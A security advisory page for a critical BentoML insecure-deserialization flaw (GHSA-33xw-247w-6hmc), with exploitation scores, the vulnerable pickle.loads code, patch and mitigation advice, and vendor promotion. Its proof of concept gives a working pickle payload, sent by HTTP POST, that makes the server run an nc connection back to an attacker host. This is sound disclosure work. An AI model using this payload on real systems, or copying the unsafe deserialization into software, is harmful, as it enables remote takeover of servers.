GHSA-33xw-247w-6hmc is a critical-severity (CVSS 9.8) Deserialization of Untrusted Data vulnerability in bentoml. EPSS puts its 30-day exploitation probability at 40.6% (99th percentile). A fix is available for bentoml — see the affected versions and patch details below.
BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-33xw-247w-6hmc.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-33xw-247w-6hmc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
bentomlReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.
Details
It exists an unsafe code segment in serde.py:
def deserialize_value(self, payload: Payload) -> t.Any:
if "buffer-lengths" not in payload.metadata:
return pickle.loads(b"".join(payload.data))
Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.
PoC
Environment:
- Server host:
- IP: 10.98.36.123
- OS: Ubuntu
- Attack host:
- IP: 10.98.36.121
- OS: Ubuntu
- Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.
1.1 Install BentoML (Server host: 10.98.36.123) :
pip install -U bentoml
1.2 Define APIs in a service.py file (Server host: 10.98.36.123) :
from __future__ import annotations
import bentoml
@bentoml.service(
resources={"cpu": "4"}
)
class Summarization:
def __init__(self) -> None:
import torch
from transformers import pipeline
device = "cuda" if torch.cuda.is_available() else "cpu"
self.pipeline = pipeline('summarization', device=device)
@bentoml.api(batchable=True)
def summarize(self, texts: list[str]) -> list[str]:
results = self.pipeline(texts)
return [item['summary_text'] for item in results]
1.3 Run the service code (Server host: 10.98.36.123) :
pip install torch transformers # additional dependencies for local run
bentoml serve
-
Start nc listening on the attacking host (Attack host: 10.98.36.121) :
nc -lvvp 1234 -
Send maliciously crafted request (Attack host: 10.98.36.121) :
import pickle
import os
import requests
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}
class Evil:
def __reduce__(self):
return(os.system, ('nc 10.98.36.121 1234',))
payload = pickle.dumps(Evil())
requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
- Attack success (Attack host: 10.98.36.121) :
The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.
Impact
Remote Code Execution (RCE).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | bentoml | ≥ 1.3.4&&< 1.4.3 | 1.4.3pip install --upgrade 'bentoml==1.4.3' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bentoml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update bentoml to 1.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-33xw-247w-6hmc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-33xw-247w-6hmc can be triaged on real exposure rather than presence alone.
Tailored to GHSA-33xw-247w-6hmc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-33xw-247w-6hmc in your dependencies?
O3 Security finds GHSA-33xw-247w-6hmc across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.